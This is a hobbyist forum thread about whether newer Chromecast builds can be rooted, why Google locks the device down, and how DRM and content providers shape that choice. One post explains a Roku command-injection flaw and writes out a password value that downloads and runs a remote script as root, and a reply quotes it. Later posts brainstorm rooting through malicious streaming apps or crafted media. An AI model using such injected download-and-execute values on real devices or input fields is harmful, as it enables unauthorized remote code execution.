Database Develop

Future Rooting of Chromecast?!

Does anyone know if there will be any rooting to the current builds of Chromecast?

No

85gallon said:
No
Click to expand...
Click to collapse
Are you sure about that? I thought nothing has been found yet but still looking for a way.

wptski said:
Are you sure about that? I thought nothing has been found yet but still looking for a way.
Click to expand...
Click to collapse
Well they found an exploit in the original (Shipped) ROm that Google quickly plugged up.
And Google has been updating the ROM like Crazy (Compared to what you see on Phones) so it's difficult to keep up (God Bless Team Eureka for doing so!)
Rooting presents some issues since Google could stop you from updating via OTA if it sees root so it almost makes little sense to root right now since it is unlikely to be permanent, will make getting the latest Updates sketchy.
Until such time as the ROM is mature enough with enough App Support that they won't be constantly updating the unit, (Even if just to update the Whitelist) I don't see anyone coming up with a permanent rooting method.
Truth is the Whitelist is the biggest reason to Root and Flash a custom that I know of but I'm sure Team Eureka has added some goodies to their ROM that I'm not aware of.
If you want a rooted CCast I suggest trying to find one with a Rootable Serial Number and rooting that one before it Updates with Google.

The original hack to root the Chromecast was in the boot loader. Google has patched that and made the boot loader secure. You can't install any software on the Chromecast, and it will only talk to whitelisted apps, so how are you going to root it now? I'm not saying it's impossible, just very difficult.
For example an exploit to root the very secure Roku boxes came out 2 days ago, and the security hole exploited was an incredibly dumb oversight by Roku. The Roku can be put into Developer Mode by a special combination of remote button presses. The Developer Mode displays extra information and allows you to install apps over a local network without going through the app store, but the app environment is no less secure. You can specify a password for Developer Mode when you first set it up, and you can later reset that password if you want. When you type in a new password, the Roku internally executes a shell command of the form "passwd rokudev (new password)" to set the password. Somehow Roku forget to check and clean the password field input, and you are allowed to use a semi-colon in the password. But a semi-colon is used in Linux to separate multiple commands on one line, so when the password input is internally inserted into the command line to set the new password, everything after a semi-colon is interpreted as a new Linux shell command and executed with full root privilege. So for example the password input ";wget -O/tmp/x.sh http://SomeExploitScript;sh /*/x.sh;" happily downloads and executes whatever exploit script you want on the device with full root privilege.
Could something like that happen on the CC? Maybe.

DJames1 said:
Somehow Roku forget to check and clean the password field input, and you are allowed to use a semi-colon in the password. But a semi-colon is used in Linux to separate multiple commands on one line, so when the password input is inserted into the command line to set the new password, everything after a semi-colon is interpreted as a new Linux shell command and executed with full root privilege. So for example the password input ";wget -O/tmp/x.sh http://exploitscript;sh /*/x.sh" happily downloads and executes whatever exploit script you want on the device with full root privilege.
Click to expand...
Click to collapse
Ouch, that's like a SQL injection attack.
Back to Chromecast, I think everyone's waiting for the SDK to be released and hoping to find an exploit there, as once the SDK is released it's more difficult to change it or take it back.

Asphyx said:
Well they found an exploit in the original (Shipped) ROm that Google quickly plugged up.
And Google has been updating the ROM like Crazy (Compared to what you see on Phones) so it's difficult to keep up (God Bless Team Eureka for doing so!)
Rooting presents some issues since Google could stop you from updating via OTA if it sees root so it almost makes little sense to root right now since it is unlikely to be permanent, will make getting the latest Updates sketchy.
Until such time as the ROM is mature enough with enough App Support that they won't be constantly updating the unit, (Even if just to update the Whitelist) I don't see anyone coming up with a permanent rooting method.
Truth is the Whitelist is the biggest reason to Root and Flash a custom that I know of but I'm sure Team Eureka has added some goodies to their ROM that I'm not aware of.
If you want a rooted CCast I suggest trying to find one with a Rootable Serial Number and rooting that one before it Updates with Google.
Click to expand...
Click to collapse
Sounds like your anti-root and so your not rooted? The latest Team Eureka ROM is based on the latest Google build so I don't see a problem there. I have two TV's using only one rooted CC on my main TV but have a spare rooted CC as a backup right now.

LOL this is XDA...the word IMPOSSIBLE isn't part of the Vocabulary here!
Someone will find a way to send something to CCast that makes it rooted...
Nothing is completely secure around these parts!

I think the only current downside to being root vs not is that updates are slightly delayed.
IMO that's not a bad thing because Team Eureka has been very quick on updates and having them look at updates before they roll out to me means there's one extra level of bug detection (and in some cases, fixing!).
A potential but as of yet unmaterialized risk of being root is being denied access to Google Play Movies if root is detected. However, I don't really expect that to happen as Chromecast doesn't have storage, unlike phones which often download content for later playback.

wptski said:
Sounds like your anti-root and so your not rooted? The latest Team Eureka ROM is based on the latest Google build so I don't see a problem there. I have two TV's using only one rooted CC on my main TV but have a spare rooted CC as a backup right now.
Click to expand...
Click to collapse
Nope not rooted....At least on my CCast....I have a dozen other devices all rooted because rooting gives me the ability to change some parameters and add some capability disabled by default.
Not against Root but Root is really only worthwhile if you need to do something you can't do unrooted.
What are you doing with root that I can't right now other that bypass a whitelist? Running a Rom that incorporates the fixes I got today sometime tomorrow? Im sure team Eureka's rom does much more than just bypass the Whitelist but really other than All Cast (which I don't need since I got PlexPass) there is nothing I have seen root and a custom ROM do that I don't already have except maybe Screen Mirroring which doesn't really require root just someone to make an APP that tells the CCast it is a Googlecast which is on the Whitelist.
Does rooting make the NBC app able to stream to the CCast?
What I AM against is Flash Addiction though....
See a Nightly and just flash it because it's new without any regard to if it is better or stable!
Too many people seem to buy devices to flash every day as opposed to using them to do what the device is made for and can't because they keep flashing Nightlies that don't work reliably but thats another story entirely.
---------- Post added at 06:47 PM ---------- Previous post was at 06:44 PM ----------
bhiga said:
I think the only current downside to being root vs not is that updates are slightly delayed.
IMO that's not a bad thing because Team Eureka has been very quick on updates and having them look at updates before they roll out to me means there's one extra level of bug detection (and in some cases, fixing!).
A potential but as of yet unmaterialized risk of being root is being denied access to Google Play Movies if root is detected. However, I don't really expect that to happen as Chromecast doesn't have storage, unlike phones which often download content for later playback.
Click to expand...
Click to collapse
And let me be clear this is not meant to downplay the usefulness of the Team Eureka project in any way shape or form...
But I missed out on Rooting because I got the Update and the device doesn't seem to be limiting me on what I need it to do so I'm not really missing the lack of Whitelist!
Team Eureka has been VERY QUICK with the updates as they happen and if you have root good for you!
But I'm not going to complain or keep asking for a new Rooting Method just to have something I don't seem to need right now.
I gave up bragging about what I did to my Devices long ago! LOL

Asphyx said:
Not against Root but Root is really only worthwhile if you need to do something you can't do unrooted.
Click to expand...
Click to collapse
Right now the benefits are:
Custom/Team Eureka whitelist (use apps that aren't Google-blessed) (you already mentioned this )
Check temperature
Manage parameters via web dashboard
Change DNS
Root will rarely fix a broken/buggy app.
So you're right - there isn't a lot of reason to root now that there are Google-blessed app options for casting from local storage, network, and Internet/cloud.
But of course, this is XDA, so sometimes we just want root for the sake of root.
...and temperatures appeal to our outer geek.
---------- Post added at 11:03 AM ---------- Previous post was at 10:55 AM ----------
Asphyx said:
What I AM against is Flash Addiction though....
See a Nightly and just flash it because it's new without any regard to if it is better or stable!
Too many people seem to buy devices to flash every day as opposed to using them to do what the device is made for and can't because they keep flashing Nightlies that don't work reliably but thats another story entirely.
Click to expand...
Click to collapse
First I thought you were talking Adobe (formerly Macromedia) Flash... and I was going to agree.
But you're talking device flash. And I still agree.
I always have fear that automatic updates promote a mentality of "Oh, well, if it's broken we'll just push another update" - that's another advantage of being rooted - you could just turn OTA updates off and you don't have to accept the latest-and-sometimes-not-so-great version.
However, until the SDK is officially released, it's quite possible that some new app or feature will require a particular minimum build, which could cause the delay between official release and rooted release to cause rumblings in the impatient masses. :angel:
Long story short, the core market for Chromecast is people who want to simply Plug and Play. The rest of us are just special.
(Okay, now I think I've exhausted my smiley quota for today)

Asphyx said:
What I AM against is Flash Addiction though....
See a Nightly and just flash it because it's new without any regard to if it is better or stable!
Too many people seem to buy devices to flash every day as opposed to using them to do what the device is made for and can't because they keep flashing Nightlies that don't work reliably but thats another story entirely.
Click to expand...
Click to collapse
Flashing a Nightly is nothing! You see the same users in multiple ROM threads so they aren't flashing a new update, they are changing ROMs daily. I got into trouble mentioning/questioning the fact that there were numerous users that never turn off their tablets which boots in 13 seconds. Seems you can't question the reasons why. They must sleep with them!

bhiga said:
Right now the benefits are:
Custom/Team Eureka whitelist (use apps that aren't Google-blessed) (you already mentioned this )
Check temperature
Manage parameters via web dashboard
Change DNS
Root will rarely fix a broken/buggy app.
So you're right - there isn't a lot of reason to root now that there are Google-blessed app options for casting from local storage, network, and Internet/cloud.
But of course, this is XDA, so sometimes we just want root for the sake of root.
...and temperatures appeal to our outer geek.
Click to expand...
Click to collapse
Yep! And I'm not bemoaning anyone else wanting Root just saying that unless you REALLY need something that requires it I personally don't see the point.
But it's not like root is going to get me WiFi Tethering or a Boat free version of AOSP 4.4
I'm in the US so I don't need to worry about Region blocking and truth is I don't use any service other than NetFlix that requires it. All of My Media is my own via Plex.
As for Temperature I only have three Temps I use in my daily life...
Too Hot
Too Cold
I'm Fine!
LOL
Whitelist bypassing is about the only feature I could want but I haven't seen an App yet that I need (except maybe AllCast) that really compels me to fret about not being rooted.
I fully understand other people's desire to get root especially here, But I also know that Devs rarely waste time on doing the same thing over and over again or waste time cracking root unless they are extremely bored. They have better things to do than play Root Tag with Google!
I would hope instead of working on Root they were working on Apps that could be whitelisted cause at some point if enough apps request whitelisting and it becomes a nuisance to manage on the Google side they will get rid of it entirely! LOL
---------- Post added at 07:21 PM ---------- Previous post was at 07:07 PM ----------
wptski said:
Flashing a Nightly is nothing! You see the same users in multiple ROM threads so they aren't flashing a new update, they are changing ROMs daily. I got into trouble mentioning/questioning the fact that there were numerous users that never turn off their tablets which boots in 13 seconds. Seems you can't question the reasons why. They must sleep with them!
Click to expand...
Click to collapse
It doesn't bother me if thats how they choose to pas the time of their day...LOL To Each his own...
But they almost always come back and complain if the Dev doesn't give them their Fix in a timely fashion!
Even to the point that they donate to the Dev and then expect their $5 donation entitles them to a Weekly update to flash...
The Best however are the few who never read the changelog of the Roms they use and the Developer has a CRONTAB builder running to make a new Nightly automatically regardless if any changes were made!
And they come back and say This version is MUCH BETTER or WORSE! LOL
It's the same EXACT rom you ran yesterday! LOL
@bhiga My Chart say you still have about 20 smileys left! LOL
I chaulk most of the insanity up on FKOTB syndrome (First Kid On The BLOCK)
My devices working and stable is much more important than what it says on the About Page!
But they have been conditioned to think that one number higher somehow relates to being better! LOL
Ok enough off topic Banter My chart says I HAVE reached my Off Topic Quota for the day! LOL

So TC is basically asking someone to read the future.... Interesting.
Sent from my HTC One X using Tapatalk 2

Asphyx said:
I'm in the US so I don't need to worry about Region blocking and truth is I don't use any service other than NetFlix that requires it.
Click to expand...
Click to collapse
I wonder if U.S. users understand how much content they are missing from other countries?
Like the U.K. sources such as the BBC iPlayer and ITV, and the much greater range of new movies on Netflix Canada/Mexico/Brazil/Sweden etc. where licencing is easier and cheaper?

wptski said:
Are you sure about that? I thought nothing has been found yet but still looking for a way.
Click to expand...
Click to collapse
You are reading too much into answer. I simply answered his question. No. Nobody knows if there will be an exploit. Chances are it will happen, but there currently isn't one and nobody knows if there will be one.

DJames1 said:
I wonder if U.S. users understand how much content they are missing from other countries?
Like the U.K. sources such as the BBC iPlayer and ITV, and the much greater range of new movies on Netflix Canada/Mexico/Brazil/Sweden etc. where licencing is easier and cheaper?
Click to expand...
Click to collapse
We can get that content just fine actually....
The restrictions for you folk in the UK have more to do with EU Import limitations not the fact content is restricted by region.
The only Content we can't get here that you can get is stuff like NFL streaming packages because the TV networks here who pay for that content forbid it. Yet I still watch live football anytime I want regardless of what they decided to show me on TV that day.
The only thing that was stopping us from seeing the stuff on BBC iPlayer was their insistence on using Flash which many devices have dropped support for in the US. They have since got away from flash I believe...I now get it via Plex Channel.
And when all else fails and it isn't available via a stream I just load up the ole uTorrent and there it is sitting on my Plex Server in no time.....

Guess it depends on how you put the subject and question together...
Is there a root method for builds newer than 12072?
No.
Will there be a root method for builds newer than 12072?
Nobody knows. The crystal ball is not giving an answer, and we don't trust the Magic 8-Ball.

Yeah, it would make things so much easier to be able to change the DNS. I hope they can get this rooted again.
Sent from my Nexus 4 using xda app-developers app

Roku patched the rooting loophole in their firmware and has pushed it out by automatic update. Time from publication of the vulnerability to patching: 1.5 days.
Google isn't quite that on-the-ball, but if a new vulnerability to root the Chromecast comes out, I hope the originators wait for at least a holiday weekend before publishing it to give us a chance.

Why google? Why?!?!

So I searched and came up empty.
Why would google stop the rooting of the chromecast? It's not like we can do anything too crazy with it..
Just whitelist and change the dns... So I don't get it.
One of the biggest reasons I bailed from Apple products to Android products was the ease of making it work how I wanted it to work thanks to all the devs.
Sent from my Nexus 5 using Tapatalk

Android might be too open for Google's liking.
Allowing free streaming of audio and video would only cement Apple's good standing with companies more comfortable with controllable DRM.
Also, Android is seen as a highly vulnerable platform.
No one can have two masters.
Google can't make money on advertising alone.
Alas, only time will tell...
Sent from Tapatalk using Xperia Z1 (C6906)

rans0m00 said:
So I searched and came up empty.
Why would google stop the rooting of the chromecast? It's not like we can do anything too crazy with it..
Just whitelist and change the dns... So I don't get it.
One of the biggest reasons I bailed from Apple products to Android products was the ease of making it work how I wanted it to work thanks to all the devs.
Click to expand...
Click to collapse
Two of ways to look at it...
Google never intended for root to happen, initial bootloader vulnerability was an engineering version released by accident
Google loves us and released vulnerable bootloader on purpose, but that jeopardized their agreements with Netflix, Hulu, HBO, etc so they had to patch the hole
I think both have something do with it.
Given Hollywood's fear and lack of understanding of technlogy, they probably heard "rooted" and immediately called the lawyers. Doesn't matter that Chromecast doesn't actually download and store the content, so root really doesn't help in terms of "they have a copy that they can decrypt" - it's just fear.
From a business perspective Google's really pushing this mass market. So if that was the reason, the choice became "We lock it down, make the content providers happy and sell millions - or we don't lock it down, lose the content providers, and have a $35 Google TV that can't even access anything more than YouTube" well....
It's one thing to stand your ground and alienate a large group while still having functionality but standing your ground, alienating a large group and ending up with a fairly useless and unmarketable device is a recipe for angry stockholders.
tl;dr - blame the ignorant content industry decision-makers that think all we want to do is pirate stuff.

Well how willing would a company like Netflix be to support a device that once rooted could be used to steal their encryption and Auth methods So you could steal their content?
A rooted CCast could be programmed to off load the players and content it uses locally,
The content creators and providers know this which is why most content related apps are set up to refuse to work in the presence of root on a device.
Google doesn't really care if your device is rooted or not but the people they want to support the CCast care.
Remember the failure of GoogleTV, The TV Networks blacklisted the device because they believed it would be used to pirate their material and wanted to charge you or google to see it!
Unless you went directly to their site where they could count you as a view and make the money from advertising.

Hmm the possible using root to offload the videos makes sense. Seems like it would take some effort but could be as easy as some code a powered USB driver.
I think about it different... Rooted more options to make it stream more stuff... Not more options to snag stuff.
Sent from my Nexus 5 using Tapatalk

Hopefully more apps pick up on this or it will just be another device google tried to get rolling and failed at.
Sent from my Nexus 5 using Tapatalk

rans0m00 said:
Hopefully more apps pick up on this or it will just be another device google tried to get rolling and failed at.
Click to expand...
Click to collapse
I think they will and are. Android mirroring will help a lot, but even now there are many "hidden gems" like Vbukit that could really take off once Google lets up on the reins.

bhiga said:
I think they will and are. Android mirroring will help a lot, but even now there are many "hidden gems" like Vbukit that could really take off once Google lets up on the reins.
Click to expand...
Click to collapse
Hopefully so. At this price point for the item if they can get most apps to use it then they will sell tons of them.

rans0m00 said:
Hmm the possible using root to offload the videos makes sense. Seems like it would take some effort but could be as easy as some code a powered USB driver.
I think about it different... Rooted more options to make it stream more stuff... Not more options to snag stuff.
Sent from my Nexus 5 using Tapatalk
Click to expand...
Click to collapse
actually there is nothing about root other than bypassing the whitelist that lets you play more stuff.
To put it another way....
Would rooting your TV make it do something more than it already does? No it wouldn't would it?
It'a nothing more than who has access to control the hardware but the hardware doesn't do any more than it already does and it still won't play an AVI natively without transcoding so your not really gaining capability, Just removing restrictions that are there to keep control of DRM content to keep Content providers and creators happy.
If they let it stay uncontrolled then devices like this would be supported while Content providers stayed away from CCast due to it's uncontrolled environment.
http://www.webpronews.com/ces-2014-netgear-announces-hdmi-dongle-chromecast-competitor-2014-01

And rooting our androids have opened up plenty of possibilities that otherwise wouldn't be available. Like customs roms and kernels. Which then open the door to tons of stuff.... Its been a minute but I think it was custom kernels that allowed us to use exfat instead of fat32? Currently the chromecast rooted only runs a custom whitelist and a handful of other things. Because that is all we have the option with the only custom rom out. If they figure out how to start adding different functions I don't know what would be possible but yes... From rooting this opened the door to all of this being possible.
Sent from my Nexus 5 using Tapatalk

Asphyx said:
A rooted CCast could be programmed to off load the players and content it uses locally
Click to expand...
Click to collapse
So can linux box, an android, a flashed ps3, a flashed xbox360, and anything else running a linux based distro which has access to netflix through web browsers or otherwise. Hell, with a little code, a raspberry pi could do it! Put a qualcomm chip, wifi capability and a touchscreen on my coffee maker and I could make the damn thing gain unauthorized access to netflix.

hp420 said:
Put a qualcomm chip, wifi capability and a touchscreen on my coffee maker and I could make the damn thing gain unauthorized access to netflix.
Click to expand...
Click to collapse
Yes, and then the Hollywood lawyers would try to stop your coffee maker's maker from making coffee makers. Whoa, that's a lot of makers...

hp420 said:
So can linux box, an android, a flashed ps3, a flashed xbox360, and anything else running a linux based distro which has access to netflix through web browsers or otherwise. Hell, with a little code, a raspberry pi could do it! Put a qualcomm chip, wifi capability and a touchscreen on my coffee maker and I could make the damn thing gain unauthorized access to netflix.
Click to expand...
Click to collapse
Yep and why do you think Netflix upgrades sometimes won't play on your rooted device?
What is more important to you...
having content to view or access to make the unit play any content you wanted if only there was content available for it!

Asphyx said:
Yep and why do you think Netflix upgrades sometimes won't play on your rooted device?
What is more important to you...
having content to view or access to make the unit play any content you wanted if only there was content available for it!
Click to expand...
Click to collapse
Honestly?? Having root is more important to me. I've never used any of the services we're talking about (hulu, netflix, amazon, etc.) I use other means to get my video streaming accomplished, and prefer to have full control of my device without some corporate shmuck who doesn't even know what a rooted phone can do stepping in and saying I'm breaking their tos by tampering with open source firmware installed on hardware I own outright. This is why I choose to use alternatives

The chromecast was never advertised as an open source device.
Maybe it's time people realize that Google isn't synonymous with 'free, good or open source' .
They are a company and they are here to make money.
Honestly, I'm already set with the chromecast.
Netfliz+Hulu + avia + showbox +vget +plex + tab casting = my money's worth
Sent from my HTC One X using Tapatalk 2

I agree with people have said here.... I can see both sides for the argument as being valid.
I prefer full control of my device but I also realize my type is a very small portion of the people needed to make this device appealing enough for developers to write code to
allow ccast to work.
I'm hoping that root is found occasionally to still keep the devs interested but spread out enough to keep people like netflix and hulu Happy.
Sent from my Nexus 5 using Tapatalk

hp420 said:
Honestly?? Having root is more important to me. I've never used any of the services we're talking about (hulu, netflix, amazon, etc.) I use other means to get my video streaming accomplished, and prefer to have full control of my device without some corporate shmuck who doesn't even know what a rooted phone can do stepping in and saying I'm breaking their tos by tampering with open source firmware installed on hardware I own outright. This is why I choose to use alternatives
Click to expand...
Click to collapse
So given a choice of having Media available for a Media device or Rooted device that does nothing you want the Rooted paperweight....
Good for you!

In defense... The rooted paperweight wouldn't be correct. With a strong enough dev environment we would have more options. Would seriously take a strong dev following though, since they would be responsible for keeping it from being a paperweight.
Anyways I got my answer from this thread. Which is my views are I like everything being as open as possible.
I understand now why google has to keep or attempt to keep the platform locked down for it to be a success. Maybe in the future google will find a balance of more options while still keeping the lawyers Happy.
Till then let's hope the chromecast just gets better support from app developers and increasing in popularity.... Which I think will bring more devs and possibly more chances for getting root and other roms.
Sent from my Nexus 5 using Tapatalk

rans0m00 said:
In defense... The rooted paperweight wouldn't be correct. With a strong enough dev environment we would have more options. Would seriously take a strong dev following though, since they would be responsible for keeping it from being a paperweight.
Anyways I got my answer from this thread. Which is my views are I like everything being as open as possible.
I understand now why google has to keep or attempt to keep the platform locked down for it to be a success. Maybe in the future google will find a balance of more options while still keeping the lawyers Happy.
Till then let's hope the chromecast just gets better support from app developers and increasing in popularity.... Which I think will bring more devs and possibly more chances for getting root and other roms.
Sent from my Nexus 5 using Tapatalk
Click to expand...
Click to collapse
Rans...Don't get me wrong I don't really have a problem with Root but there comes a point where having control over a device thats express purpose is to stream media and send content to a screen makes having content available more important than having control over Root access to a device that won't do what it is intended to do once you get it!
This is not a phone that you can sideload programs to and make it do something it wasn't intended to do.
It is like saying I want complete control over my TV Operating system and don't care if everyone who makes TV content available won't suppot my device making it a nice peice of electronics you can hack but serves no other purpose.
If rooting lost you Netflix, Plex, aVia and all the other content provider support what good would all that root access get you?
Are developers going to start making movies for you to watch as well?
Or are you just getting root to make your TV an Android box when an Android Stick would do the same thing for you?
Right now the only reason to have root is to Run Team Eureka's rom, And it is well worth having for that!
But if Netflix, Hulu and anyone else who has content to use on the device did a Root Check and stopped supporting your rooted device you would have nothing more than a nice Splash screen on your TV...
It's one thing to be a control freak about your devices...
Just remember the folks who make the content you want to see on your devices have the same desire (and RIGHT) to want to control who sees their content and who doesn't!
And you will blame them for not trusting you not yourself on insisting to have root on a device whose sole purpose is to display someone else's content!
We would all love to have root access to everything in life....
And thinking your going to get more just because you have more control is foolish because we have seen Root get you less from those who HAVE the content you really want.
If all this device could display was stuff you owned no one would need it because there are about 100 different devices that can already do it an better!

I actually think with enough dev support people could figure out how to make the chromecast into quite a bit more. I am not familiar with the limitations of the device itself though.
Before coming to Android I had an iPhone and I had my phone jail broke. Certain apps would not work if it was detected to be jail broken. Usually the devs found a work around and still had the content.
I'm still sticking with best case scenario is this turns out to be an apple vs jail break scene. They keep patching it but devs keep working to find holes and increasing the options users have with their device. This might keep the content providers happy since google would be patching the holes when they are presented.
And when it comes down to other devices doing it better.... Yeah there is always a different options... With the current state of things honestly I still prefer the rokus over the chromecast.
Sent from my Nexus 5 using Tapatalk

Possible Root Exploit?

Now that the "gates are open" on the Google Chromecast it *should* in some way, be possible to root it now. I have done some security researching and I was wondering if we could create a malicious streaming app to stream a shebang file (hashbang, whatever you wanna call it; same tactic used in both versions of iOS' evasi0n) to run a script to root the device. We might also be able to stream over elf binaries that use kernel exploits to root the device then use adb to execute them from there. Please comment on your suggestions/thoughts/why this will or will not work. As always, thank you for taking the time to read this.
r3pwn

r3pwn said:
Now that the "gates are open" on the Google Chromecast it *should* in some way, be possible to root it now. I have done some security researching and I was wondering if we could create a malicious streaming app to stream a shebang file (hashbang, whatever you wanna call it; same tactic used in both versions of iOS' evasi0n) to run a script to root the device. We might also be able to stream over elf binaries that use kernel exploits to root the device then use adb to execute them from there. Please comment on your suggestions/thoughts/why this will or will not work. As always, thank you for taking the time to read this.
r3pwn
Click to expand...
Click to collapse
I like your thinking.
The first order would be to get root and disable OTA updates.
As long as the whitelist exists, a malicious app would be difficult to get past Google's approval. Kind of like how iOS had the "flashlight" app that allowed tethering until Apple shut it down.
It might actually have to be two parts - a functional app that has a vulnerability, and some specific trigger that can utilize the vulnerability. A backdoor into a normal app, or a some kind of specific login that triggers a specific server-side response, for example.
AFAIK, ADB isn't enabled on stock Chromecast.
Another potential attack vector is the setup mechanism on the Chromecast-side - for example if the SSID or keyphrase strings can be overrun, but Google may have already checked that stuff.
Because stock Chromecasts auto-accept OTA updates, I fear it will be a continual cat-and-mouse game of finding exploits and having them auto-patched by Google OTAs. Still, at least it would provide an option for folks who have an updated bootloader.

bhiga said:
I like your thinking.
The first order would be to get root and disable OTA updates.
As long as the whitelist exists, a malicious app would be difficult to get past Google's approval. Kind of like how iOS had the "flashlight" app that allowed tethering until Apple shut it down.
It might actually have to be two parts - a functional app that has a vulnerability, and some specific trigger that can utilize the vulnerability. A backdoor into a normal app, or a some kind of specific login that triggers a specific server-side response, for example.
AFAIK, ADB isn't enabled on stock Chromecast.
Another potential attack vector is the setup mechanism on the Chromecast-side - for example if the SSID or keyphrase strings can be overrun, but Google may have already checked that stuff.
Because stock Chromecasts auto-accept OTA updates, I fear it will be a continual cat-and-mouse game of finding exploits and having them auto-patched by Google OTAs. Still, at least it would provide an option for folks who have an updated bootloader.
Click to expand...
Click to collapse
The whitelist still exists? I had thought they removed that with the SDK.
Sent from my Nexus 7 using Tapatalk

r3pwn said:
The whitelist still exists? I had thought they removed that with the SDK.
Click to expand...
Click to collapse
According to this in the developer's guide you still have to allow your Chromecast to send its serial number, register your app which gives you an API key, and register your device so it can receive the app.
Only "published" apps will be available without registering your device, so still sounds like Google is the gatekeeper to publicly-available apps.

Hmm... I may have to hand over the $5 for the developer fee just to fool around. Or I may find an alternative by the time I can get around to getting a Google play card. Lol.
Sent from my Nexus 7 using Tapatalk

r3pwn said:
Hmm... I may have to hand over the $5 for the developer fee just to fool around. Or I may find an alternative by the time I can get around to getting a Google play card. Lol.
Click to expand...
Click to collapse
Not sure about your neighborhood, but the WA/OR Costcos are selling a 3-pack of $20 Google Play cards for $54 (so 10% discount)

bhiga said:
Not sure about your neighborhood, but the WA/OR Costcos are selling a 3-pack of $20 Google Play cards for $54 (so 10% discount)
Click to expand...
Click to collapse
I don't think I want to spend that much. If I don't find something else by then, I could just go to GameStop in the mall (right across the street from my school) and get a $15 one.
Sent from my Nexus 7 using Tapatalk

Walmart also sells play cards!
Sent from my SPH-L710 using xda app-developers app

Not sure we will ever find a security hole in the CCast with the whitelisting in effect but perhaps the search for a vulnerability should be made on the Player Apps that are already whitelisted.
Finding some content that could be sent to (ie via aVia) to play on CCast that isn't really media but does trigger some exploit to root the device.
In fact the cast a tab feature may be the weakest point in the CCast security. Hacking that extension could be the key to exploiting the CCast.

We need to get Chainfire to do the rooting stuff.

Asphyx said:
Not sure we will ever find a security hole in the CCast with the whitelisting in effect but perhaps the search for a vulnerability should be made on the Player Apps that are already whitelisted.
Finding some content that could be sent to (ie via aVia) to play on CCast that isn't really media but does trigger some exploit to root the device.
In fact the cast a tab feature may be the weakest point in the CCast security. Hacking that extension could be the key to exploiting the CCast.
Click to expand...
Click to collapse
I was actually thinking that to myself. There has to be some sort of thing to root the device other than the 2nd stage bootloader exploit that was patched already.
Sent from my iPod touch using Tapatalk

If anyone did sneakily get an app published with a root exploit, it would certainly risk revoking their SDK permissions due to a ToS violation.
Sent from my Nexus 5 using Tapatalk

cmstlist said:
If anyone did sneakily get an app published with a root exploit, it would certainly risk revoking their SDK permissions due to a ToS violation.
Sent from my Nexus 5 using Tapatalk
Click to expand...
Click to collapse
That is true. But if we exploited an existing app, Google would just "suspend" the app from the Play Store until the bug gets fixed. If the app were free, however, we could just back up a copy of the apk before the bug fix was patched and spread it around here on XDA. I'll look into some apps to see if it's possible.
Sent from my iPod touch using Tapatalk

r3pwn said:
That is true. But if we exploited an existing app, Google would just "suspend" the app from the Play Store until the bug gets fixed. If the app were free, however, we could just back up a copy of the apk before the bug fix was patched and spread it around here on XDA. I'll look into some apps to see if it's possible.
Click to expand...
Click to collapse
Well the exploit I was referring to would not be in an APK at all...
It would be on the App server CCast loads it's player's from.
The APKs that support CCast do not have any access to the filesystem of the CCast but the Player Apps CCast loads are on the device and the exploit would attack a vulnerability of that app to do something on the unit that the player app never considered.
Sort of like the old WMV exploit to launch web pages inside a Video that if existed as a capability in a CCast loaded Player App could launch a browser operation to a page with the Exploit code.
I'm sure Google has thought about all of that in their implementations but perhaps the 3rd Party Developers have not been so diligent about it.
In fact I think that precise issue is why Google does not allow someone like the PlexDevs to allow launch of Media to CCast from the Local PlexWeb (that can easily be user manipulated since it resides on their local machine) and will only allow them to implement it from the Plex.tv site that is not accessible to user manipulation at all.

Asphyx said:
In fact I think that precise issue is why Google does not allow someone like the PlexDevs to allow launch of Media to CCast from the Local PlexWeb (that can easily be user manipulated since it resides on their local machine) and will only allow them to implement it from the Plex.tv site that is not accessible to user manipulation at all.
Click to expand...
Click to collapse
And probably why Google maintains the whitelist.
As long as there is whitelist, Google can disable an app at will.
So once an external exploit becomes known (ie, "Play this specific video"), Google could easily disable the app until the developer updates it to patch the vulnerability.
The inability to refuse OTA updates and the lack of external accessibility/sideloading makes Chromecast quite secure.

bhiga said:
And probably why Google maintains the whitelist.
As long as there is whitelist, Google can disable an app at will.
So once an external exploit becomes known (ie, "Play this specific video"), Google could easily disable the app until the developer updates it to patch the vulnerability.
The inability to refuse OTA updates and the lack of external accessibility/sideloading makes Chromecast quite secure.
Click to expand...
Click to collapse
Tying CC to google framework/Play is annoying and disappointing. It's a walled-garden Apple approach.

wideasleep1 said:
Tying CC to google framework/Play is annoying and disappointing. It's a walled-garden Apple approach.
Click to expand...
Click to collapse
It all goes hand-in-hand for making sure things work and making sure the content providers don't yank the carpet out from under them.
If the content providers leave Google, Chromecast becomes useless for all the folks who bought it for what it does, rather than what we want it to be and do.
End-of-day for a product like this, it's user experience that will make or break it. That's probably why Google's being extra-cautious here. They're treading on Apple's turf.

wideasleep1 said:
Tying CC to google framework/Play is annoying and disappointing. It's a walled-garden Apple approach.
Click to expand...
Click to collapse
I've often wondered why Google is being this way with Chromecast of all things. Not that they roll out a red carpet to allow Android to be rooted. But they aren't actively trying to prevent it. I mean they've looked the other way forever with Gapps distribution.. I love Chromecast and worth every dime though. Just strange how much they're throwing up the walls everywhere for it
Sent from my Nexus 10

bhiga said:
It all goes hand-in-hand for making sure things work and making sure the content providers don't yank the carpet out from under them.
If the content providers leave Google, Chromecast becomes useless for all the folks who bought it for what it does, rather than what we want it to be and do.
End-of-day for a product like this, it's user experience that will make or break it. That's probably why Google's being extra-cautious here. They're treading on Apple's turf.
Click to expand...
Click to collapse
Not that I don't disagree, but for the sake of argument, I think that is Google's cop-out. They haven't concerned themselves with this in prior endeavors, although I'm sure the poor showing of GoogleTV had to smart. The truth as I see it: Google wants the data (sigint, if you will) our 'casting' provides, THAT is why it's walled. They may want to couch it with 'quality, content provider compliance,etc.', but only so far as it maintains THEIR sigint. After all, the content providers will always constrain their content as they see fit...it must be on their servers/cdn networks by their own hand. CC is a protocol, and now cannot be enjoyed without their sigint (framework/Play version). Google's modus is provide convenience products for the non-free price of your sigint data, so you can be sold to advertisers.
styckx said:
I've often wondered why Google is being this way with Chromecast of all things. Not that they roll out a red carpet to allow Android to be rooted. But they aren't actively trying to prevent it. I mean they've looked the other way forever with Gapps distribution.. I love Chromecast and worth every dime though. Just strange how much they're throwing up the walls everywhere for it
Sent from my Nexus 10
Click to expand...
Click to collapse
My explanation above offers a possible reason.
edit: apologies to OP for accidentally steering into non-root discussion!

styckx said:
I've often wondered why Google is being this way with Chromecast of all things. Not that they roll out a red carpet to allow Android to be rooted. But they aren't actively trying to prevent it. I mean they've looked the other way forever with Gapps distribution.. I love Chromecast and worth every dime though. Just strange how much they're throwing up the walls everywhere for it
Sent from my Nexus 10
Click to expand...
Click to collapse
Could be a requirement from the providers due to copyright concerns.
